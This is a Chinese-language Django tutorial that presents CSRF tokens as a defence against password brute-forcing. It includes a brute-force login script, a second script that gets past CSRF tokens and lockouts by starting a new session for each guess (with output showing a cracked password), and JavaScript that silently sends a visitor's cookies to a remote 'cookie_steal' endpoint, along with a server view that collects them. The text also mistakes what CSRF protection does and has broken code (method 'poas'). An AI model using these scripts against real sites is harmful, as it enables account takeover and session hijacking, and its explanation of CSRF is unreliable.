CSRF 全名為 Cross Site Request Forgery 跨站請求偽裝,中文翻譯為「跨站請求攻擊」。
簡易入侵方法
以本站登入畫面為例 http://mahalbot.ddns.net/session/login/

在網頁按右鍵檢視原始碼,或 F12,就可以看到表單中的
帳號欄 name=”userAccount”,
密碼欄 name=” userPassword”,
然後使用如下程式即可暴力破解。
import requests
accounts=["kevin","tracy","john","hello"]
passwords=["abcdefgh", "password", "1234","123456","xyz"]
for account in accounts:
for password in passwords:
param={"userAccount":account, "userPassword":password}
page=requests.post("http://mahaljsp.ddns.net/login/", data=param)
print(f"目前正在測試 {password}....")
print(page.text)
if "mahaljsp" in page.text:
print(f"正確密碼 : {password}")
break
啟動 CSRF 保護
若要防止暴力破解程式攻擊,需啟動 CSRF 保護。
請需在 login.html 的表單 <form> 下方加入 {% csrf_token %},如下所示
<form action="/session/login/" method="poas">
{% csrf_token %}
<input type="text" name="userAccount"/>
<input type="password" name="userPassword"/>
<input type="submit" value="登入"/>
</form>
然後 def login() 上方若有 csrf_exempt 註釋,請刪除掉。Django 在執行 def login() 方法時,預設會檢查有沒有權杖或是權杖是否正確。
#@csrf_exempt
def login(request):
return HttpResponse("ok")
如此就可以啟動 CSRF 保護,並解決「CSRF verification fail」的問題。
{% csrf_token %} 作了什麼
{% csrf_tokek %} 會在 <form> 的下方產生一組權杖,請在 login.html 按右鍵查看網頁原始碼,即可看到如下藍色代碼。
<form action="/session/login/" method="post">
<input type="hidden" name="csrfmiddlewaretoken" value="Jra5eYr5j4nAkK6CYYNCQDTvIvmVnSaACDvHAWGy0x0XNYQBkH6plR2a8mykjiET"/>
表單中有一個 input type =”hidden”,value 就是由 {% csrf_token %} 產生的權杖,由 Server 發送給使用端,而這權杖亦會儲存在 Server 中。
當使用者傳送表單要求執行 def login() 時,會將 userName、userPassword、csrfmiddlewaretoken 權杖傳給伺服器。
Server 執行 def login() 時會收到表單傳回的資料,然後先檢查 csrfmiddlewaretoken 的值,若沒有此值或是此值與儲存在 Server 的權杖不相等,就會回覆 CSRF verification fail。
所以任何人想用上面的程式入侵,會因為沒有權杖,就被 Server 直接給予 403 禁止連線。
請注意,若 html 表單沒有 {% csrf_token %},而 def login() 也沒有 @csrf_exempt,是無法登入的,因為 def login() 預設就是要檢查權杖。請參照如下表

取消 CSRF 保護
若要取消 CSRF 保護,前端 login.html 有沒有 {% csrf_token %} 都沒關係,因為取消保護並不是在此處設定,如下所示。
<form action="/session/login/" method="poas">
{% csrf_token %}<!-- 取消保護時,有沒有這行都沒關係 -->
<input type="text" name="userAccount"/>
<input type="password" name="userPassword"/>
<input type="submit" value="登入"/>
</form>
重點是在 def login() 上方加入 @csrf_exempt 註釋即可取消 CSRF 保護。exempt [ɪgˋzɛmpt] 是豁免的意思,也就是要執行 def login() 時,不要檢查權杖,如下所示。
@csrf_exempt
def login(request):
return HttpResponse("ok")
取消 CSRS 保護後,就要小心上面的暴力破解程式就可以運作。
CSRF 暴力破解
CSRF 保護是否無堅不摧呢? 別傻了,使用如下代碼,就算網站有設定輸入三次就封鎖,一樣破解無誤,因為底下的代碼每次都用不一樣的 session。
import bs4
import requests
accounts=['john', 'thomas', 'kevin']#由網路上下載帳號字典
passwords=['1234','123456', 'abcd']#由網路上下載密碼字典
out=False
for account in accounts:
if out:break
for password in passwords:
print(f"{account}, {password} : ", end="")
session = requests.Session()
page = session.get("http://192.168.1.2/login/")
soup = bs4.BeautifulSoup(page.text, "html.parser")
csrf = soup.find("input", {"name": "csrfmiddlewaretoken"}).get("value")
param={"userAccount":account, "userPassword":password,"csrfmiddlewaretoken":csrf}
page=session.post("http://192.168.1.2/process/", data=param)
if '歡迎光臨' in page.text:
print("Successful")
out=True
break
else:
print("False")
結果 :
john, 1234 : False
john, 123456 : False
john, abcd : False
thomas, 1234 : False
thomas, 123456 : Successful
真的是道高一尺,魔高一丈啊!!
駭客基礎常識
抓取前端 Cookie
前端網頁撰寫如下 javascript ,當客戶端只要滑鼠一滑過圖片,連按都不用按,客戶端的 cookie 就立即傳到後台。
<body>
<img src="/static/images/tiger.jpg" width="400" height="300"
onmouseover="get_cookie();"
/>
</body>
<script>
function get_cookie(){
(new Image()).src =
"http://mahaljsp.ddns.net/cookie_steal?cookie=" + document.cookie;
}
</script>
後台的 cookie_steal 為接收網頁,只需使用 python 撰寫如下代碼即可將 cookie 取出
def steal(request):
if "cookie" in request.GET:
print("cookie",request.GET["cookie"])
return HttpResponse()
後台取得Cookie
當使用者連入伺服器時,也會自動將 Cookie 傳入後台。後台只要使用 request.META.items() 即可取得使用者的 ip 及 Cookie。
def html(request):
values=request.META.items();
info={}
for item in list(values):
info[item[0]]=item[1]
data={}
data['ip']=info["HTTP_X_FORWARDED_FOR"]
data['cookie']=info["HTTP_COOKIE"]
return render(request, 'cookie_get.html',data)
